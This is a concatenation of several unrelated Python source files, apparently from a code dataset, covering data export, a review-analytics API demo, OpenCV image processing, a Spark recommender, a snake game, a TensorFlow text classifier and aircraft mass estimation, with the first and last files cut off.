#print(\"dataframe.shape=\",dataframe.shape)\n #print(\"dataframe.type=\",type(dataframe))\n #print(\"dataframe[4]=\",dataframe[4])\n dataframe=pd.DataFrame(dataframe.values.T, index=dataframe.columns, columns=dataframe.index)\n dataframe.to_csv(str1, mode='a', header=False, index=False)\n dataframe = pd.DataFrame(xyzy, index=None)\n #print(\"dataframe.shape=\", dataframe.shape)\n #print(\"dataframe.type=\", type(dataframe))\n # print(\"dataframe[4]=\",dataframe[4])\n dataframe = pd.DataFrame(dataframe.values.T, index=dataframe.columns, columns=dataframe.index)\n dataframe.to_csv(str1, mode='a', header=False, index=False)\n dataframe = pd.DataFrame(xyzz, index=None)\n #print(\"dataframe.shape=\", dataframe.shape)\n #print(\"dataframe.type=\", type(dataframe))\n # print(\"dataframe[4]=\",dataframe[4])\n dataframe = pd.DataFrame(dataframe.values.T, index=dataframe.columns, columns=dataframe.index)\n dataframe.to_csv(str1, mode='a', header=False, index=False)\n #writer.book=load_workbook(\"E:\\PythonProjects\\pythonproject1\\gait_analysis\\data2.xlsx\")\n print(\"总数=\",num)\n''' workbook=xlrd.open_workbook('data.xls',formatting_info=True)\n sheet = workbook.sheet_by_index(0)\n print(sheet)\n rowNum=sheet.nrows\n colNum=sheet.ncols\n newbook=copy.copy(workbook)\n print(\"newbook=\",newbook)\n wb=openpyxl.Workbook()\n wb=openpyxl.load_workbook('data2.xlsx')\n ws=wb.copy_worksheet(\"data2\")\n newsheet=newbook.get_sheet(0)\n newsheet.write(rowNum,0,df)\n ws.append(df)\n newbook.save('data.xls')'''\n\n\n\n\n\n","sub_path":"c3dproduct3.py","file_name":"c3dproduct3.py","file_ext":"py","file_size_in_byte":12007,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"420887321","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\nThis script implements the first use case:\nTop negative opinions of reviews from 2016 that do not recommand a product from subcategory \"Couches Bébé\".\n\"\"\"\n\nimport pandas as pd\nimport requests, json\nimport numpy as np\nimport sys\n\nclass DictanovaAPIAuth(requests.auth.AuthBase):\n\t\"\"\"Attaches Dictanova Bearer Authentication to the given Request object.\"\"\"\n\t\n\tdef __init__(self, id, secret):\n\t\tself.apiclient_id = id\n\t\tself.apiclient_secret = secret\n\t\tself._token = None\n\t\n\tdef __eq__(self, other):\n\t\treturn all([\n\t\t\tself.apiclient_id == getattr(other, 'apiclient_id', None),\n\t\t\tself.apiclient_secret == getattr(other, 'apiclient_secret', None)\n\t\t])\n\t\n\tdef __ne__(self, other):\n\t\treturn not self == other\n\t\n\tdef __call__(self, r):\n\t\tr.headers['Authorization'] = self.get_token()\n\t\treturn r\n\t\n\tdef get_token(self):\n\t\t# Get authentication token\n\t\tif self._token is None:\n\t\t\tpayload = {\n\t\t\t\t\"clientId\": self.apiclient_id,\n\t\t\t\t\"clientSecret\": self.apiclient_secret\n\t\t\t}\n\t\t\tr = requests.post(\"https://api.dictanova.io/v1/token\", json=payload)\n\t\t\tself._token = r.json()\n\t\t# Always use the one in cache\n\t\treturn \"Bearer %s\" % self._token[\"access_token\"]\n\nif __name__ == \"__main__\":\n\t# Prepare Auth handler with API client id and secret\n\t# https://docs.dictanova.io/docs/authentication-and-security\n\tclientId, clientSecret = open(\"../credentials\", \"r\").readline().strip().split(\";\")\n\tdictanova_auth = DictanovaAPIAuth(clientId, clientSecret)\n\t\n\t####################################################################### TOP OPINION\n\t# Query for top opinions\n\tquery = {\n\t\t\"operator\": \"AND\",\n\t\t\"criteria\": [{\n\t\t\t# Between 1/1/2016 and 31/12/2016\n\t\t\t\"field\": \"metadata.depot_date\",\n\t\t\t\"operator\": \"GTE\",\n\t\t\t\"value\": \"2016-01-01T00:00:00Z\"\n\t\t}, {\n\t\t\t\"field\": \"metadata.depot_date\",\n\t\t\t\"operator\": \"LTE\",\n\t\t\t\"value\": \"2016-12-31T00:00:00Z\"\n\t\t}, {\n\t\t\t# Only subcategory \"Couches Bébé\"\n\t\t\t\"field\": \"metadata.subcategory\",\n\t\t\t\"operator\": \"EQ\",\n\t\t\t\"value\": \"Couches Bébé\"\n\t\t}, {\n\t\t\t# Do not recommand\n\t\t\t\"field\": \"metadata.recommande\",\n\t\t\t\"operator\": \"EQ\",\n\t\t\t\"value\": \"Ne recommande pas\"\n\t\t}]\n\t}\n\tprint(\"Query:\")\n\tprint(json.dumps(query, indent=4, sort_keys=False))\n\t\n\t# Request\n\tr = requests.post(\n\t\t\"https://api.dictanova.io/v1/search/datasets/5b2286583a35940001399b1a/terms?opinions=NEGATIVE\",\n\t\tjson=query,\n\t\tauth=dictanova_auth)\n\tprint(r)\n\t\n\t# Pretty print results\n\tprint(\"Top negative opinions of detractors in 2016 about subcategory 'Couches Bébé'\")\n\tfor i,opinion in enumerate(r.json()['items']):\n\t\tprint(\"#%02d [%2d occ.]\\t%s\" % (i+1, opinion[\"occurrences\"], opinion[\"label\"]))\n\t\n\t# Word cloud\n\t# pip3 install wordcloud\n\tfrom wordcloud import WordCloud\n\timport matplotlib.pyplot as plt\n\tfrom matplotlib import colors\n\tonlyred = colors.ListedColormap(['orangered'])\n\twc_freq = {opinion[\"label\"]:opinion[\"occurrences\"] for opinion in r.json()['items']}\n\twc = WordCloud(\n\t\tprefer_horizontal=1, \n\t\tfont_path='Geomanist-Regular.otf',\n\t\tbackground_color=\"white\", \n\t\tcolormap=onlyred)\n\twordcloud = wc.fit_words(wc_freq)\n\tplt.imshow(wordcloud)\n\tplt.axis(\"off\")\n\tplt.show()\n\t\n\t####################################################################### SEARCH\n\t# Search for most common opinion\n\tmost_common_opinion = r.json()['items'][0]\n\tprint(\"Search for most common negative opinion '%s'\" % most_common_opinion[\"label\"])\n\tquery = {\n\t\t\"operator\": \"AND\",\n\t\t\"criteria\": [{\n\t\t\t# Between 1/1/2016 and 31/12/2016\n\t\t\t\"field\": \"metadata.depot_date\",\n\t\t\t\"operator\": \"GTE\",\n\t\t\t\"value\": \"2016-01-01T00:00:00Z\"\n\t\t}, {\n\t\t\t\"field\": \"metadata.depot_date\",\n\t\t\t\"operator\": \"LTE\",\n\t\t\t\"value\": \"2016-12-31T00:00:00Z\"\n\t\t}, {\n\t\t\t# Only subcategory \"Couches Bébé\"\n\t\t\t\"field\": \"metadata.subcategory\",\n\t\t\t\"operator\": \"EQ\",\n\t\t\t\"value\": \"Couches Bébé\"\n\t\t}, {\n\t\t\t# Do not recommand\n\t\t\t\"field\": \"metadata.recommande\",\n\t\t\t\"operator\": \"EQ\",\n\t\t\t\"value\": \"Ne recommande pas\"\n\t\t}, {\n\t\t\t# With most common negative term\n\t\t\t\"field\": \"TERMS\",\n\t\t\t\"operator\": \"EQ\",\n\t\t\t\"value\": most_common_opinion[\"id\"],\n\t\t\t\"opinion\": \"NEGATIVE\"\n\t\t}]\n\t}\n\t\n\t# Request\n\tr = requests.post(\n\t\t\"https://api.dictanova.io/v1/search/datasets/5b2286583a35940001399b1a/documents\",\n\t\tjson=query,\n\t\tauth=dictanova_auth)\n\tprint(r)\n\t\n\t# Pretty print results\n\tprint(\"%d reviews from detractors of 2016 in subcategory 'Couches Bébé' negative about '%s'\" %\\\n\t\t(r.json()[\"total\"], most_common_opinion[\"label\"]))\n\tfor i,doc in enumerate(r.json()[\"items\"]):\n\t\t# identify occurrences\n\t\thighlights = [o for o in doc[\"enrichments\"] if (o[\"term\"]==most_common_opinion[\"id\"] and o[\"opinion\"]==\"NEGATIVE\")]\n\t\thighlights = sorted(highlights, key=lambda h: h[\"offset\"][\"begin\"])\n\t\tsplitted = []\n\t\tlast=0\n\t\tfor highlight in highlights:\n\t\t\tsplitted.append( doc[\"content\"][last:highlight[\"offset\"][\"begin\"]] )\n\t\t\tsplitted.append( doc[\"content\"][highlight[\"offset\"][\"begin\"]:highlight[\"offset\"][\"end\"]] )\n\t\t\tlast=highlight[\"offset\"][\"end\"]\n\t\tsplitted.append(doc[\"content\"][last:])\n\t\tprint(\"###### Review %d/%d\" % (i+1, r.json()[\"total\"]))\n\t\tprint(\"**\".join(splitted))\n\t\tprint()\n\t\n\t","sub_path":"dictanova/demo/product-reviews/demo-product-reviews-uc1.py","file_name":"demo-product-reviews-uc1.py","file_ext":"py","file_size_in_byte":5015,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"131761536","text":"# Import necessary packages \r\n\r\nimport cv2\r\nimport imutils\r\nimport argparse \r\n\r\nap = argparse.ArgumentParser()\r\n\r\nap.add_argument(\"-i\", \"--image\", required = True, help = \"Path to the input image\")\r\n\r\nargs = vars(ap.parse_args())\r\n\r\nimage = cv2.imread(args[\"image\"])\r\ncv2.imshow(\"Original Image\", image)\r\ncv2.waitKey(0)\r\n\r\n# Convert an image to gray scale \r\ngray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\r\ncv2.imshow(\"Gray\", gray)\r\ncv2.waitKey(0)\r\n\r\n# Detect edges of an image \r\nedged = cv2.Canny(gray, 30, 150)\r\ncv2.imshow(\"Edged\", edged)\r\ncv2.waitKey(0)\r\n\r\n# Threshold the image by setting all pixel values less than 225\r\n# to 255 (white; foreground) and all pixel values >= 225 to 255\r\n# (black; background), thereby segmenting the image.\r\nthreshold = cv2.threshold(gray, 225, 255, cv2.THRESH_TOZERO_INV)[1]\r\ncv2.imshow(\"Threshed\", threshold)\r\ncv2.waitKey(0)\r\n\r\n# Detecting and drawing contours \r\n# Find contours (i.e., outlines) of the foreground objects in the\r\n# thresholded image\r\ncnts = cv2.findContours(threshold.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\r\ncnts = imutils.grab_contours(cnts)\r\noutput = image.copy()\r\n\r\n# Loop over the contours \r\nfor i in cnts: \r\n\t# Draw each contour on the output image with a 3px thick purple\r\n\t# outline, then display the output contours one at a time. \r\n\t# We take original copy of the image to draw contours on the subsequent. \r\n\tcv2.drawContours(output, [i], -1, (240, 0, 159), 3)\r\n\tcv2.imshow(\"Contours\", output)\r\n\tcv2.waitKey(0)\r\n\r\n# Draw the total number of contours found in purple\r\ntext = \"I found {} objects!\".format(len(cnts))\r\ncv2.putText(output, text, (10, 25), cv2.FONT_HERSHEY_SIMPLEX, 0.7,\r\n\t(240, 0, 159), 2)\r\ncv2.imshow(\"Contours\", output)\r\ncv2.waitKey(0)\r\n\r\n# We apply erosions to reduce the size of foreground objects\r\nmask = threshold.copy()\r\nmask = cv2.erode(mask, None, iterations = 5)\r\ncv2.imshow(\"Eroded\", mask)\r\ncv2.waitKey(0)\r\n\r\n# Similarly, dilations can increase the size of the ground object\r\nmask = threshold.copy()\r\nmask = cv2.dilate(mask, None, iterations=5)\r\ncv2.imshow(\"Dilated\", mask)\r\ncv2.waitKey(0)\r\n\r\n# A typical operation we may want to apply is to take our mask and\r\n# apply a bitwise AND to our input image, keeping only the masked\r\n# regions\r\nmask = threshold.copy()\r\noutput = cv2.bitwise_and(image, image, mask=mask)\r\ncv2.imshow(\"Output\", output)\r\ncv2.waitKey(0)","sub_path":"Day 2/opencv-bootcamp/bootcamp2.py","file_name":"bootcamp2.py","file_ext":"py","file_size_in_byte":2359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"516046439","text":"# Given two lists of numbers of the same length, create a new list by multiplying the pairs of numbers in corresponding positions in the two lists.\n\nnum_list_one = [1, 5, 4]\nnum_list_two = [2, 10, 7]\nresult = [[], [], []]\n\nresult[0].append(num_list_one[0] * num_list_two[0]) # multiply all values with each other based on index position\nresult[1].append(num_list_one[1] * num_list_two[1])\nresult[2].append(num_list_one[2] * num_list_two[2])\nprint(result)\n","sub_path":"mult2_num.py","file_name":"mult2_num.py","file_ext":"py","file_size_in_byte":455,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"548211624","text":"import sys\nimport time \n\nfrom pyspark.sql import SparkSession\nfrom pyspark.ml.evaluation import RegressionEvaluator\nfrom pyspark.ml.recommendation import ALS\nfrom pyspark.sql import functions as F\nfrom pyspark.sql import Window\nfrom pyspark.mllib.evaluation import RankingMetrics\n\n\ndef main(spark, data_file_train, data_file_val):\n\n start = time.time()\n\n # reading training and validation files\n df_train = spark.read.parquet(data_file_train)\n df_val = spark.read.parquet(data_file_val)\n\n window_user_ordered = Window.partitionBy('user_id').orderBy('rating')\n window_user = Window.partitionBy('user_id')\n\n actual_df_val = df_val.withColumn('actual_books', F.collect_list('book_id').over(window_user_ordered)).groupBy('user_id').agg(F.max('actual_books').alias('actual_books'))\n\n print(\"Datasets loaded | Time taken: {}\".format(time.time() - start))\n\n start = time.time()\n\n als = ALS(maxIter=10, regParam=0.001, userCol=\"user_id\", itemCol=\"book_id\", ratingCol=\"rating\", rank=100)\n model = als.fit(df_train)\n\n print(\"Done with model fitting | Time taken: {}\".format(time.time()-start))\n start = time.time()\n\n # predictions = model.transform(df_val)\n # evaluator = RegressionEvaluator(metricName=\"rmse\", labelCol=\"rating\", predictionCol=\"prediction\")\n # rmse = evaluator.evaluate(predictions)\n\n # print(\"RMSE: {}\".format(rmse))\n\n recommendations = model.recommendForUserSubset(df_val,500)\n userPredictions=recommendations.select('user_id',F.explode('recommendations.book_id')).withColumn('pred_books', F.collect_list('col').over(window_user)).groupBy('user_id').agg(F.max('pred_books').alias('pred_books'))\n predAndLabels=userPredictions.join(actual_df_val,on='user_id').select('pred_books','actual_books')\n metrics=RankingMetrics(predAndLabels.rdd)\n score = metrics.meanAveragePrecision\n print('MAP for test data: {}'.format(score))\n print('Time taken: {}'.format(time.time() - start))\n\n\n\nif __name__ == \"__main__\":\n spark = SparkSession.builder.appName('model').getOrCreate()\n data_file_train = \"recom/train_zero_1per.parquet\"\n data_file_val = \"recom/test_zero_1per.parquet\"\n main(spark, data_file_train, data_file_val)\n","sub_path":"model_als_test.py","file_name":"model_als_test.py","file_ext":"py","file_size_in_byte":2203,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"333518202","text":"from collections import deque\nimport sys\nn=int(input()) # 보드의 크기\nk=int(input()) # 사과의 개수\napple=set([]) #사과의 위치 저장 \nfor _ in range(k):\n a,b=map(int,input().split()) #x,y로 받았는데\n apple.add((b,a)) #행열로 입력이라서 바꿔줌 ㅠ\n \nl=int(input()) # 뱀의 방향 변환 횟수\nsnake=deque() #뱀의 방향 변환 정보 저장\nfor _ in range(l):\n x,c=input().split() # x: 게임 시작시간으로부터 x초가 끝난 이후 c방향(L:왼, D:오)으로 회전\n snake.append([int(x),c])\n\n\n## 뱀 이동\nsnake_x=[1,0,-1,0] #오른쪽, 아래, 왼쪽, 위\nsnake_y=[0,1,0,-1]\nmove=0 #초기: 오른쪽으로 이동\n\ntimer=0 #x초\nhead=[1,1]\ntail=[1,1]\ntail_list=deque()\ntail_list.append([1,1]) #초기 head 저장\n\n\n\nwhile(1): \n timer+=1\n \n ## 뱀은 몸길이를 늘린다\n head[0]+=snake_x[move]\n head[1]+=snake_y[move]\n tail_list.append(head.copy())\n \n if 1<=head[0]<=n and 1<=head[1]<=n: #박스(?) 범위 내일때만\n ## 사과가 머리에 있으면 먹겠지?\n try:\n apple.remove(tuple(head)) #사과 먹기, 꼬리 움직이지 않음\n \n except KeyError: #머리 위치에 사과가 없음 -> 꼬리 위치한 칸 비움\n tail=tail_list.popleft()\n \n ## 자신 몸과 부딪히면 종료\n for i in list(tail_list)[:-1]:\n if head==i or head==tail:\n print(timer)\n sys.exit(0)\n \n else: ## 벽에 부딪히면 종료\n break\n\n\n \n ## 회전해야 하는 경우\n if snake:\n if timer==snake[0][0]:\n _,direct=snake.popleft() #D: 오른쪽으로 90도회전, L: 왼쪽으로 90도 회전\n\n if direct=='D':\n move=(move+1)%4\n else:\n move=(move-1)%4\n\nprint(timer)\n","sub_path":"week9/3190_뱀_minji-o-j.py","file_name":"3190_뱀_minji-o-j.py","file_ext":"py","file_size_in_byte":1862,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"361934466","text":"# -*- coding: utf-8 -*-\n#実写でトレーニングし、CGの特徴量を可視化。\nimport tensorflow as tf\nfrom tensorflow.python.ops import nn_ops\nfrom tensorflow.examples.tutorials.mnist import input_data\n# from sklearn.cluster import KMeans\nfrom sklearn.manifold import TSNE\nimport numpy as np\nimport math, os\nimport pickle\nimport pdb\nimport input_data\nimport matplotlib as mpl\nmpl.use('Agg')\nimport matplotlib.pylab as plt\nimport cv2\nimport sys\nfrom matplotlib.colors import LinearSegmentedColormap\nfrom pylab import rcParams\nimport time\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import roc_auc_score\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.metrics import precision_score\nfrom sklearn.metrics import recall_score\nimport pandas as pd\n\n#===========================\n# レイヤーの関数\ndef weight_variable(name, shape):\n\treturn tf.get_variable(name, shape, initializer=tf.random_normal_initializer(stddev=0.1))\n\ndef bias_variable(name, shape):\n\treturn tf.get_variable(name, shape, initializer=tf.constant_initializer(0.1))\n\n# fc layer with ReLU\ndef fc_relu(inputs, w, b, rate=0.0):\n #pdb.set_trace()\n fc = tf.matmul(inputs, w) + b\n fc = tf.nn.dropout(fc, 1-rate)\n fc = tf.nn.relu(fc)\n return fc\n\n\n#=========================================================================\ndef baseNN(x,reuse=False,isTrain=True,rates=[0.0,0.0]):\n node = [400,100,50,1]\n layerNum = len(node)-1\n f_size = 3\n\n with tf.variable_scope('baseCNN') as scope:\n if reuse:\n scope.reuse_variables()\n\n W = [weight_variable(\"convW{}\".format(i),[node[i],node[i+1]]) for i in range(layerNum)]\n B = [bias_variable(\"convB{}\".format(i),[node[i+1]]) for i in range(layerNum)]\n fc1 = fc_relu(x,W[0],B[0],rates[1])\n #fc = [fc_relu(fc,W[i+1],B[i+1]) for i in range(layerNum-1)]\n fc2 = fc_relu(fc1,W[1],B[1])\n fc3 = tf.matmul(fc2,W[2]) + B[2]\n return fc3\n\n#========================================\n\n\ndef next_batch(batch_size,x,y,index_in_epoch,epochs_completed):\n num_examples = x.shape[0]\n\n start = index_in_epoch\n index_in_epoch += batch_size\n\n if index_in_epoch > num_examples:\n epochs_completed += 1\n perm = np.arange(num_examples)\n x = x[perm]\n y = y[perm]\n start = 0\n index_in_epoch = batch_size\n assert batch_size <= num_examples\n end = index_in_epoch\n return x[start:end],y[start:end],x,y,index_in_epoch,epochs_completed\n\nif __name__ == \"__main__\":\n\n config = tf.ConfigProto()\n config.gpu_options.per_process_gpu_memory_fraction = 0.4\n\n sess = tf.Session(config=config)\n\n #Epoch数\n nEpo = 500\n # バッチデータ数\n batchSize = 100\n modelPath = 'models'\n\n #======================================\n # データ読み込み\n X = pickle.load(open(\"../data/out/data_x.pickle\",\"rb\"))\n Y = pickle.load(open(\"../data/out/data_y.pickle\",\"rb\"))\n\n data_raw = pd.read_csv(\"../data/data_all.csv\")\n\n title = data_raw['title']\n description = data_raw['description']\n indices = np.arange(len(X))\n\n train_x,test_x,train_y,test_y,train_index,test_index = train_test_split(X,Y,indices,test_size = 0.1,random_state=0)\n train_y = train_y[np.newaxis].T\n test_y = test_y[np.newaxis].T\n #pdb.set_trace()\n x_train = tf.placeholder(tf.float32,shape=[None,400])\n x_label = tf.placeholder(tf.float32,shape=[None,1])\n\n\n x_test = tf.placeholder(tf.float32,shape=[None,400])\n x_test_label = tf.placeholder(tf.float32,shape=[None,1])\n\n #======================================\n #--------------------------------------\n ## build model\n train_pred = baseNN(x_train,rates=[0.2,0.5])\n\n test_preds = baseNN(x_test,reuse=True,isTrain=False)\n\n #--------------------------------------\n ## loss function\n\n train_loss = tf.reduce_mean(tf.nn.sigmoid_cross_entropy_with_logits(logits=train_pred,labels=x_label))\n test_loss = tf.reduce_mean(tf.nn.sigmoid_cross_entropy_with_logits(logits=test_preds,labels=x_test_label))\n\n #--------------------------------------\n ## trainer & vars\n\n extra_update_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS, scope=\"baseCNN\")\n with tf.control_dependencies(extra_update_ops):\n regVars = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope=\"baseCNN\")\n trainerReg = tf.train.AdamOptimizer(1e-3).minimize(train_loss, var_list=regVars)\n #trainerReg = tf.train.AdadeltaOptimizer(1e-3).minimize(lossReg, var_list=regVars)\n\n #--------------------------------------\n #======================================\n # 保存用\n tra_loss_list = []\n tra_preds_list = []\n tra_label_list = []\n tra_conf_mat_list = []\n tra_auc_list = []\n tra_precision_list = []\n tra_recall_list = []\n\n tes_loss_list = []\n tes_preds_list = []\n tes_label_list = []\n tes_conf_mat_list = []\n tes_auc_list = []\n tes_precision_list = []\n tes_recall_list = []\n\n ite_list = []\n #======================================\n # 初期化\n sess.run(tf.global_variables_initializer())\n ite = 0\n isStop = False\n epochs_completed = 0\n index_in_epoch = 0\n #======================================\n\n saver = tf.train.Saver()\n\n\n while not isStop:\n ite = ite + 1\n ite_list.append(ite)\n #-----------------\n ## バッチの取得\n batch_x,batch_label,train_x,train_y,index_in_epoch,epochs_completed = next_batch(batchSize,train_x,train_y,index_in_epoch,epochs_completed)\n batch_label = np.reshape(batch_label,[batchSize,1])\n #-----------------\n\n # training\n _,lossReg_value,pred_value = sess.run([trainerReg,train_loss,train_pred],feed_dict={x_train:batch_x, x_label:batch_label})\n\n #\n pred_value = (pred_value > 0.5) * 1\n\n #\n tra_conf_mat = confusion_matrix(batch_label, pred_value)\n tra_auc = roc_auc_score(batch_label, pred_value)\n tra_precision = precision_score(batch_label,pred_value)\n tra_recall = recall_score(batch_label,pred_value)\n\n # 保存\n tra_loss_list.append(lossReg_value)\n tra_preds_list.append(pred_value)\n tra_label_list.append(batch_label)\n tra_conf_mat_list.append(tra_conf_mat)\n tra_auc_list.append(tra_auc)\n tra_precision_list.append(tra_precision)\n tra_recall_list.append(tra_recall)\n # test\n test_pred_value, test_lossReg_value = sess.run([test_preds,test_loss],feed_dict={x_test:test_x, x_test_label:test_y})\n\n #\n test_pred_value = (test_pred_value > 0.5) * 1\n\n #\n tes_conf_mat = confusion_matrix(test_y, test_pred_value)\n tes_auc = roc_auc_score(test_y, test_pred_value)\n tes_precision = precision_score(test_y,test_pred_value)\n tes_recall = recall_score(test_y,test_pred_value)\n #pdb.set_trace()\n\n #\n if ite%500==0:\n saver.save(sess,f\"{modelPath}/model_{ite}.ckpt\")\n print(\"ite{0}:trainLoss:{1},testLoss:{2}\".format(ite,lossReg_value,test_lossReg_value))\n #print(\" confusion matrix : train {0}, test {1}\".format(tra_conf_mat,tes_conf_mat))\n print(\" auc : train {0}, test {1}\".format(tra_auc,tes_auc))\n print(\" precision : train {0}, test {1}\".format(tra_precision,tes_precision))\n print(\" recall : train {0}, test {1}\".format(tra_recall,tes_recall))\n\n # 保存\n tes_loss_list.append(test_lossReg_value)\n tes_preds_list.append(test_pred_value)\n tes_conf_mat_list.append(tes_conf_mat)\n tes_auc_list.append(tes_auc)\n tes_precision_list.append(tes_precision)\n tes_recall_list.append(tes_recall)\n\n if epochs_completed==nEpo:\n isStop = True\n\n train_len = len(train_x)\n #pdb.set_trace()\n print(\"train confusion matrix:\\n{0}\".format(tra_conf_mat))\n print(\"test confusion matrix :\\n{0}\".format(tes_conf_mat))\n df = pd.DataFrame({\n 'title':title[test_index],\n 'description':description[test_index],\n 'true class':test_y.T[0],\n 'predict class':test_pred_value.T[0]\n })\n df = df[['title','description','true class','predict class']]\n #pdb.set_trace()\n df.to_csv('../data/out/test_result.csv')\n\n\n with open(\"../data/out/log/test_corpolation_classifier_log.pickle\",\"wb\") as f:\n pickle.dump(tra_loss_list,f)\n #pickle.dump(tra_preds_list,f)\n pickle.dump(tra_conf_mat_list,f)\n pickle.dump(tra_auc_list,f)\n pickle.dump(tra_precision_list,f)\n pickle.dump(tra_recall_list,f)\n\n pickle.dump(tes_loss_list,f)\n #pickle.dump(tes_preds_list,f)\n pickle.dump(tes_conf_mat_list,f)\n pickle.dump(tes_auc_list,f)\n pickle.dump(tes_precision_list,f)\n pickle.dump(tes_recall_list,f)\n","sub_path":"code/test_corporation_classifier.py","file_name":"test_corporation_classifier.py","file_ext":"py","file_size_in_byte":8910,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"272268923","text":"from bin import data_specification as data_specs\r\nfrom bin import widerstand\r\nfrom bin import mass_roskam as roskam\r\nfrom bin import fe1_wing\r\nfrom bin import isa\r\nimport numpy as np\r\n\r\n\r\nclass torenbeek_mass:\r\n\r\n def __init__(self):\r\n self.data = data_specs.specs().data()\r\n self.data_mass = self.data[0]\r\n self.data_wing = self.data[1]\r\n self.crew = self.data[2]\r\n self.mission = self.data[3]\r\n self.airfoil = self.data[4]\r\n self.fuselage = self.data[5]\r\n self.propulsion = self.data[6]\r\n self.cabin = self.data[7]\r\n self.cargo = self.data[8]\r\n self.fe1_wing = fe1_wing.calc_fe1_wing()\r\n\r\n self.mach_ica = self.mission[1]\r\n self.altitude_ica = self.mission[2]\r\n self.r_H = self.data_wing[8] # lever propulsion\r\n\r\n # airfoil\r\n self.thickness = self.airfoil[2]\r\n\r\n # calc v_d | dive speed\r\n mps2kts = 1.94384\r\n self.isa = isa.isa()\r\n self.isa_ica = self.isa.calc_isa(self.altitude_ica)\r\n rho_ica = self.isa_ica[0]\r\n self.a_ica = self.isa_ica[3]\r\n self.isa_0 = self.isa.calc_isa(0)\r\n rho_0 = self.isa_0[0]\r\n\r\n vc_tas = self.mach_ica * self.a_ica\r\n vd_tas = vc_tas + (60/mps2kts)\r\n self.v_d = vd_tas * np.sqrt(rho_0/rho_ica) # in EAS\r\n mass_roskam = roskam.calc_mass()\r\n [self.m_fuel, self.m_oe, self.m_to, self.kappa, self.mff25] = mass_roskam.fuelfactor()\r\n\r\n def iter_all(self):\r\n # analogue to matlab...\r\n techfactor = .95\r\n W_TO = 0\r\n W_TO_pred = self.m_to\r\n W_DE = 0\r\n W_DE_pred = 100\r\n W_fuel = self.m_fuel\r\n while (abs((W_TO - W_TO_pred) / W_TO_pred)) > .01:\r\n W_TO = W_TO_pred\r\n # SUBTOTAL 1\r\n [W_hor, W_vert] = self.calc_tail(W_TO)\r\n W_hor = W_hor * techfactor\r\n W_vert = W_vert * techfactor\r\n W_fl = self.calc_fuselage() * techfactor\r\n [W_maingear, W_nosegear] = self.calc_gear(W_TO)\r\n W_sfc = self.calc_surfacecontrol(W_TO)\r\n W_wing = self.calc_wing(W_TO, W_fuel) * techfactor\r\n W_narc = self.calc_narcelle()\r\n subtotal1 = W_hor + W_vert + W_fl + W_sfc + W_maingear + W_nosegear + W_wing + W_narc\r\n\r\n # SUBTOTAL 2\r\n W_eng = self.calc_engine()\r\n subtotal2 = W_eng\r\n\r\n # SUBTOTAL 3\r\n while(abs(W_DE-W_DE_pred)>0.001):\r\n W_DE = W_DE_pred\r\n W_apu = self.calc_apu()\r\n W_ieg = self.calc_ieg(W_DE)\r\n W_hp = self.calc_hydrpneum()\r\n W_acai = self.calc_acai()\r\n W_cabin = self.calc_cabin(W_TO)\r\n subtotal3 = W_apu + W_ieg + W_hp + W_acai + W_cabin\r\n W_DE_pred = subtotal1 + subtotal2 + subtotal3\r\n\r\n # SUBTOTAL 4\r\n [W_crew, W_PCS, W_pot, W_safety, W_res_oil] = self.operational()\r\n\r\n subtotal4 = W_crew + W_PCS + W_pot + W_safety + W_res_oil\r\n W_OE = W_DE_pred + subtotal4\r\n\r\n # new W_TO\r\n W_payload = self.data_mass[3]\r\n W_TO_pred = (W_OE + W_payload) / (1 - self.kappa)\r\n\r\n # fuel\r\n W_fuel = W_TO * self.kappa\r\n W_reserve = W_TO * .05 * (1-self.mff25)\r\n W_cruisefuel = W_fuel - W_reserve\r\n subtotal5 = W_reserve + W_cruisefuel\r\n # TODO: make a comprehensive loop so that it doesnt look like an amateur's work...\r\n\r\n ## list every weight group for return\r\n group1 = []\r\n group1.append(W_hor)\r\n group1.append(W_vert)\r\n group1.append(W_fl)\r\n group1.append(W_nosegear + W_maingear)\r\n group1.append(W_sfc)\r\n group1.append(W_wing)\r\n group1.append(W_narc)\r\n\r\n group2 = []\r\n group2.append(W_eng)\r\n\r\n group3 = []\r\n group3.append(W_apu)\r\n group3.append(W_ieg)\r\n group3.append(W_hp)\r\n group3.append(W_acai)\r\n group3.append(W_cabin)\r\n\r\n group4 = []\r\n group4.append(W_crew)\r\n group4.append(W_PCS)\r\n group4.append(W_pot)\r\n group4.append(W_safety)\r\n group4.append(W_res_oil)\r\n\r\n group5 = []\r\n group5.append(W_cruisefuel)\r\n group5.append(W_reserve)\r\n\r\n subtotal = [] # list for subtotals\r\n subtotal.append(subtotal1)\r\n subtotal.append(subtotal2)\r\n subtotal.append(subtotal3)\r\n subtotal.append(subtotal4)\r\n subtotal.append(subtotal5)\r\n return group1, group2, group3, group4, group5, subtotal, W_DE_pred, W_OE, W_TO_pred\r\n\r\n def calc_fuselage(self):\r\n l_t = self.r_H # TODO: check this\r\n length_fl = self.fuselage[0]\r\n height_fl = self.fuselage[1]\r\n width_fl = self.fuselage[2]\r\n dia_fl = (height_fl + width_fl) / 2\r\n lambda_fl = length_fl / dia_fl\r\n SG = np.pi * dia_fl * length_fl * ((1 - 2 / lambda_fl) ** (2 / 3)) * (\r\n 1 + 1 / (lambda_fl ** 2)) # wetted area taken from B-6\r\n m_fl = .23 * np.sqrt(self.v_d * (l_t / (width_fl + height_fl))) * (SG ** 1.2)\r\n return m_fl\r\n\r\n\r\n def calc_wing(self, W_TO, m_fuel):\r\n constant = 4.58e-3 # for calculation in SI-Units\r\n\r\n [l_tip, l_root] = 